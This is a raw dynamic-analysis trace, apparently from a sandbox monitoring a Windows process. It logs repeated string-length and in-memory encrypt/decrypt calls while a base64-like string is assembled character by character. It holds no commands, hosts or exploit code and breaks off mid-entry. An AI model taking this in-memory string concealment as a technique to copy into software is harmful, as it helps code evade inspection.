[0128.273] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.273] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.273] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0128.273] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.273] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0128.273] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.273] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0128.273] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0128.273] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.273] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0128.273] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.273] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0128.273] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0128.273] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.274] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0128.274] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0128.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0128.274] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.274] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0128.274] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0128.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0128.274] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.274] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0128.274] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0128.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0128.274] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.274] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0128.274] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0128.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0128.274] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.275] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0128.275] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0128.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0128.275] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.275] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0128.275] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0128.275] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.275] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0128.275] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0128.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0128.275] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.275] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0128.275] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0128.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0128.275] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.276] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0128.276] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0128.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0128.276] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.276] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0128.276] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0128.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0128.276] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.276] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0128.276] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0128.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0128.276] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.276] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0128.276] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0128.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0128.276] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.276] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0128.276] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.277] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0128.277] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0128.277] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.277] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0128.277] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.277] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.277] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.277] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.277] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0128.277] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.277] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0128.277] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.277] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0128.277] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0128.277] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.277] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0128.277] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.277] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0128.277] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0128.277] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.277] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0128.277] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.278] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0128.278] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0128.278] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.278] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0128.278] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.278] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0128.278] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0128.278] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.278] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0128.278] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.278] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0128.278] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0128.278] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.278] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0128.278] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.278] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0128.278] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0128.278] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.278] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0128.278] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.279] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0128.279] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0128.279] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.279] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0128.279] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.279] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.279] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.279] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.279] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0128.279] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.279] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0128.279] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.279] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0128.279] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0128.279] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.279] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0128.279] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.279] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0128.279] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0128.279] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.279] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0128.279] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.280] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0128.280] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0128.280] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.280] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0128.280] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.280] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0128.280] SysStringLen 